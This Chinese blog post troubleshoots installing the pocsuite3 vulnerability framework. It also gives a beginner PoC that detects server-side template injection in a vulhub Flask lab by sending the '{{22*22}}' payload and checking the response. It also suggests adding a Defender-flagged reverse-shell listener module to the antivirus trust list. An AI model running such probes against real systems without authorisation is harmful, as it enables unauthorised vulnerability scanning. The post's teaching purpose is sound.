前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >pocsuite安装报错|poc代码编写入门存在的一点问题

pocsuite安装报错|poc代码编写入门存在的一点问题

原创
作者头像
likemeatl
修改2022-05-05 11:57:00
1.2K0
修改2022-05-05 11:57:00
举报
文章被收录于专栏:likemeatl的专栏

pocsuite的安装过程很简单,网上也有很多教程或者看github文档,就不在这赘述了,只记录下自己碰到的几个没在教程中看到的小问题。

问题一 安装pocsuite报错

代码语言:text
复制
Traceback (most recent call last):
  File "d:\python\lib\runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "d:\python\lib\runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "D:\Python\Scripts\pocsuite.exe\__main__.py", line 4, in <module>
  File "d:\python\lib\site-packages\pocsuite3\__init__.py", line 11, in <module>
    from .cli import module_path
  File "d:\python\lib\site-packages\pocsuite3\cli.py", line 12, in <module>
    from pocsuite3.lib.core.option import init
  File "d:\python\lib\site-packages\pocsuite3\lib\core\option.py", line 39, in <module>
    from pocsuite3.modules.listener import start_listener
  File "d:\python\lib\site-packages\pocsuite3\modules\listener\__init__.py", line 1, in <module>
    from .reverse_tcp import handle_listener_connection
ModuleNotFoundError: No module named 'pocsuite3.modules.listener.reverse_tcp'

找到一篇文章提到是被windows Defender删除了

解决办法是去github找到该文件,在自己电脑上重新创建即可

image-20220429151450559
image-20220429151450559

创建后,将这个文件加入windows defender 信任文件中,就不会再被删除了

问题二 poc代码入门

按照《python安全攻防》一书写的poc,但是书上内容没给全,浪费了很多时间找问题出在哪。

去github看官方文档,发现有一个细节很容易遗漏,就是注册类,如图来自官方文档

image-20220429152544101
image-20220429152544101

下面我贴一下《python安全攻防》在poc这里的完整的代码,希望能帮到跟我一样的同学,少浪费点时间在找乱七八糟的错误上。

用到的环境是vulhub flask下的ssti,如图访问8000端口

image-20220429153157091
image-20220429153157091
代码语言:PYTHON
复制
# poc代码如下
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from pocsuite3.lib.utils import random_str

class DemoPOC(POCBase):
    #前面的各种说明内容是我瞎写的 就体会下用poc的感觉 
    vulID = '1111'  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
    version = '1'  # 默认为1
    author = 'likemeatl'  # PoC作者的大名
    vulDate = '2014-10-16'  # 漏洞公开的时间,不知道就写今天
    createDate = '2014-10-16'  # 编写 PoC 的日期
    updateDate = '2014-10-16'  # PoC 更新的时间,默认和编写时间一样
    references = [
        'https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html']  # 漏洞地址来源,0day不用写
    name = 'SSTI PoC'  # PoC 名称
    appPowerLink = 'likemeatl.com'  # 漏洞厂商主页地址
    appName = 'flask/ssti'  # 漏洞应用名称
    appVersion = '7.x'  # 漏洞影响版本
    vulType = 'SSTI'  # 漏洞类型,类型参考见 漏洞类型规范表
    desc = '''
            服务器端模板注入可以造成远程命令执行的危害
        '''  # 漏洞简要描述
    samples = []  # 测试样列,就是用 PoC 测试成功的网站
    install_requires = []  # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
    
    def _verify(self):
        '''verify mode'''
        result = {}
        path = "/?name="
        url = self.url + path
        payload = "{{22*22}}"

        # first req
        try:
            resq = requests.get(url + payload)
            if resq and resq.status_code == 200 and "484" in resq.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
        except Exception as e:
            pass
        return self.parse_output(result)
    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail()
        return output
#千万不能遗漏!!!
register_poc(DemoPOC)

使用pocsuite验证漏洞即可成功

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 问题一 安装pocsuite报错
  • 问题二 poc代码入门
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档